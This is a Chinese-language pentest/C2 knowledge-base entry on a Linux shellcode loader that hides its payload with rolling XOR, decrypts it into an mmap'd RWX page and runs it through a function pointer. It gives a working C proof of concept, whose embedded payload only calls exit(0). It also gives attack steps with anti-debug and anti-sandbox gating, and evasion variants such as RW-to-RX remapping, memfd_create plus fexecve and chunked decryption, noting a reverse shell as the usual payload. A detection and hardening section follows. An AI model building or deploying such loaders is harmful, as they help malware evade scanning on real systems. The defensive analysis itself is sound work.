Linux 自解密 shellcode 加载器:mmap RWX + 滚动 XOR 还原后函数指针执行
pentest/c2 · verified
一句话结论
样本把 shellcode 以滚动 XOR 密文放在自己的数据段里,运行时用 mmap(PROT_READ|PROT_WRITE|PROT_EXEC) 分配一页可执行内存,把密文拷进去后在同一页内逐字节解密(key=0xAA; c^=key; key=(key*13+7)&0xFF),最后把页首强转为函数指针调用。磁盘上的文件只有密文,静态字符串/特征扫描看不到 payload,明文只在执行前短暂存在于内存。
原理
- “自修改”的准确含义:原文称其为 self-modifying code,但示例并没有修改 ELF 自身的
.text,而是在新分配的 RWX 页里解密并执行 shellcode。效果相同(静态分析看不到明文),但检测面不同:前者是代码段写入,后者是匿名 RWX 页。 - 滚动 XOR:加密与解密是同一运算:
key初值0xAA;- 对每个字节
buf[i] ^= key; key = (key * 13 + 7) & 0xFF; - 密钥序列只依赖位置,不依赖明文,因此解密时按同样顺序重放即可;XOR 自反,无需单独的解密算法。
- 为什么能躲静态分析:文件中的 shellcode 是密文,没有
execve("/bin/sh")、IP/端口、系统调用号等可读字符串;熵高,但滚动 XOR 后的字节分布仍可能被统计检测发现(不是强加密)。 - 执行流程:
1.
mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 2.memcpy密文到该页; 3. 原地滚动 XOR 解密; 4.((void(*)())page)()调用。 - 前置反分析:样本通常先做
TracerPid/时间加速检查,命中则不分配/不解密,减少沙箱内存扫描抓到明文的概率。 - 检测信号:匿名 RWX 页、
mmap后紧跟写入、页内出现syscall/int 0x80、高熵数据、函数指针调用刚写入的页;现代内核/EDR 对 RWX 非常敏感。 - 与强加密 loader 的区别:滚动 XOR 没有密钥保密(常量和算法都在代码里),只能对抗字符串/签名扫描,不能对抗内存扫描或算法识别。
触发条件
- 目标为 Linux(x86_64 示例;ARM 需换指令编码)。
- 样本能把加密 payload 放进数据段/资源,并在运行时分配可执行内存。
- 目标允许 RWX 映射(未启用 SELinux
deny_execmem/PaX MPROTECT 等)。 - 攻击者接受 RWX 页带来的检测风险,或改用 RW→RX 两段式。
利用步骤
- 准备 shellcode,按
key=0xAA; c^=key; key=(key*13+7)&0xFF生成密文,嵌入样本数据段。 - 入口先做反调试/反沙箱检查;不满足则退出,不进入解密。
mmap一页PROT_READ|PROT_WRITE|PROT_EXEC(或先 RW,解密后再mprotect为 RX)。memcpy密文到页内,按同一 key schedule 原地解密。- 把页首转为函数指针并调用;shellcode 执行(示例为反弹 shell,可替换为任意 payload)。
- 若需要清理,调用返回后
munmap并退出;实际恶意样本通常不返回。
PoC
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
/* 示例:12 字节 shellcode `mov rax,60; xor rdi,rdi; syscall`(exit(0))
经 key=0xAA、key=key*13+7 滚动 XOR 后的密文。真实样本替换为恶意 payload。 */
static unsigned char enc_payload[] = {
0xe2, 0x6e, 0x5c, 0xcf, 0x5e, 0xcd,
0x70, 0xff, 0x63, 0xce, 0x8b, 0xbe
};
static const size_t payload_len = sizeof(enc_payload);
static void rolling_xor(unsigned char *buf, size_t n) {
unsigned char key = 0xAA;
for (size_t i = 0; i < n; i++) {
buf[i] ^= key;
key = (unsigned char)(key * 13 + 7);
}
}
int main(void) {
void *page = mmap(NULL, 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) return 1;
memcpy(page, enc_payload, payload_len);
rolling_xor((unsigned char *)page, payload_len); /* 原地解密 */
((void (*)(void))page)(); /* 执行 shellcode */
return 0;
}
生成密文时对明文执行完全相同的 rolling_xor 即可(XOR 自反)。更隐蔽的写法是先 mmap RW、解密后用 mprotect(page, 4096, PROT_READ|PROT_EXEC) 改为 RX,避免 RWX;也可以用 memfd_create + fexecve 走文件执行路径。
变体与关联
- 加密算法替换:AES/ChaCha20/RC4 加密 shellcode,密钥由环境/参数派生;本库
pentest-c2-rust-fiber-shellcode-loader-base64-aes-switchtofiber与pentest-c2-shellcode-loader-rx-sleep-etw-encryption是 Windows 侧的对应实现。 - 内存规避:解密后只在调用前短暂存在明文,调用期间可再次加密未执行部分;或把 shellcode 分片解密,执行完即丢弃。
- 执行方式:函数指针直接调用、
mprotect后跳转、memfd_create+fexecve、把 payload 注入现有进程(本库pentest-c2-linux-remote-mmap-syscall-injection)。 - 失败点:RWX 页被 EDR/内核策略阻止;滚动 XOR 常量(0xAA、13、7)可被 YARA 识别;内存扫描可在解密后、调用前抓到明文;shellcode 的
sockaddr/IP 端口构造错误会导致不上线。
检测与防御
- 检测:监控
mmap/mprotect产生匿名可执行页(尤其 RWX),监控“写入后立即执行”的模式;扫描进程内存中的高熵缓冲和syscall/int 0x80指令;对滚动 XOR 常量/循环做静态规则。 - 加固:启用 SELinux
deny_execmem、PaX MPROTECT、W^X 策略;用 eBPF/LSM 审计mmap/mprotect;禁止不必要的 RWX。 - 分析:在
mmap/mprotect与函数指针调用处下断点,dump 解密后的页;对数据段做 entropy/滚动 XOR 尝试(key 初值 0xAA、乘 13 加 7 是常见模式)。 - 注意:该技术本身只是加载器,不构成完整攻击链;实际危害取决于 shellcode 内容与后续 C2。